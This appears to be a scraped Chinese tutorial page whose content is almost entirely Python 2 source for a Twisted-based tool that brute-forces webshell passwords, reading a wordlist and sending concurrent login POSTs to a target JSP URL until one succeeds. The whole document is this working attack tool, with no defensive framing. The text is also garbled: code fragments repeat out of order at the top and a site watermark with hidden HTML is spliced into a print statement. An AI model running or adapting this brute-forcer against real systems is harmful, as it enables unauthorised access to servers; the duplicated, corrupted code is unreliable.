利用Python的Twisted框架实现webshell密码扫描器的教程

 cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) req = urllib2.Request(url, urllib.urlencode(bodyfieleds)) resp = opener.open(req, timeout=60) strlist = resp.read() 

 self.PostDATA[self.passw] = passl #print temp zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers) zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl) 

 def InitTask(self): for passl in self.passlist[:]: d = self.addURL(passl) yield d def DoTask(self): deferreds = [] coop = task.Cooperator() work = self.InitTask() for i in xrange(self.ThreadNum): d = coop.coiterate(work) deferreds.append(d) dl = defer.DeferredList(deferreds) 

 # -*- coding: utf-8 -*- #coding=utf-8 # # # code by icefish # http://insight-labs.org/ # http://wcf1987.iteye.com/ # from twisted.internet import iocpreactor iocpreactor.install() from twisted.web.client import getPage from twisted.internet import defer, task from twisted.internet import reactor import os from httplib import HTTPConnection import urllib import urllib2 import sys import cookielib import time import threading from Queue import LifoQueue #import httplib2 from sgmllib import SGMLParser import os from httplib import HTTPConnection import urllib import urllib2 import sys import cookielib import time import threading from Queue import LifoQueue from sgmllib import SGMLParser class URLLister(SGMLParser): def __init__(self): SGMLParser.__init__(self) self.input = {} def start_input(self, attrs): #print attrs for k, v in attrs: if k == 'type': type = v if k == 'name': name = v if k == 'value': value = v if type == 'hidden' and value != None: self.input[name] = value if type == 'password' : self.input['icekey'] = name class webShellPassScan(object): def __init__(self, url, dict): self.url = url self.ThreadNum = 10 self.dict = dict def getInput(self, url): html, c = self.PostUrl(url, '') parse = URLLister() parse.feed(html) return parse.input def PostUrl(self, url, bodyfieleds): try: cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) req = urllib2.Request(url, urllib.urlencode(bodyfieleds)) resp = opener.open(req, timeout=60) strlist = resp.read() cookies = [] for c in cj: cookies.append(c.name + '=' + c.value) return strlist, cookies except : return '' def parse_page(self, data, url, passk): #print url self.TestNum = self.TestNum + 1 if data != self.sret and len(data) != 0 and data != 'iceerror': self.timeEnd = time.time() print 'Scan Password End :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeEnd)) print 'total Scan Time:' + str((self.timeEnd - self.timeStart)), 's' print 'total Scan Passwords:' + str(self.TestNum) print "*************************the key pass****<a style="color:transparent">来源gao*daima.com搞@代#码网</a>***********************\n" print passk print "*************************the key pass***************************\n" reactor.stop() if self.TestNum % 1000 == 0: #print TestNum sys.stdout.write('detect Password Num:' + str(self.TestNum) + '\n') sys.stdout.flush() def fetch_error(self, error, url, passl): self.addURL(passl) def run(self): self.timeStart = 0 self.timeEnd = 0 self.TestNum = 0 self.sret = '' print '\n\ndetect the WebShell URL:' + self.url self.PassNum = 0 self.timeStart = time.time() print 'Scan Password Start :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeStart)) filepath = os.path.abspath(os.curdir) file = open(filepath + "\\" + self.dict) self.passlist = [] for lines in file: self.passlist.append(lines.strip()) #print lines.strip() file.close() PassNum = len(self.passlist) print 'get passwords num:' + str(PassNum) inputdic = self.getInput(self.url) self.passw = inputdic['icekey'] del inputdic['icekey'] self.PostDATA = dict({self.passw:'icekey'}, **inputdic) self.sret, cookies = self.PostUrl(self.url, self.PostDATA) self.headers = {'Content-Type':'application/x-www-form-urlencoded'} self.headers['cookies'] = cookies print 'cookies:' + str(cookies) self.DoTask() #self.DoTask2() #self.DoTask3() print 'start run' self.key = 'start' reactor.run() def InitTask(self): for passl in self.passlist[:]: d = self.addURL(passl) yield d def InitTask2(self): for passl in self.passlist[:]: d = self.sem.run(self.addURL, passl) self.deferreds.append(d) def InitTask3(self): for passl in self.passlist[:]: d = self.addURL(passl) self.deferreds.append(d) def DoTask(self): deferreds = [] coop = task.Cooperator() work = self.InitTask() for i in xrange(self.ThreadNum): d = coop.coiterate(work) deferreds.append(d) dl = defer.DeferredList(deferreds) #dl.addErrback(self.errorCall) #dl.addCallback(self.finish) def DoTask2(self): self.deferreds = [] self.sem = defer.DeferredSemaphore(self.ThreadNum) self.InitTask2() dl = defer.DeferredList(self.deferreds) def DoTask3(self): self.deferreds = [] self.InitTask3() dl = defer.DeferredList(self.deferreds) def addURL(self, passl): self.PostDATA[self.passw] = passl #print temp zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers) zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl) return zs a = webShellPassScan('http://192.168.0.2:8080/f15.jsp', 'source_new.txt') a.run()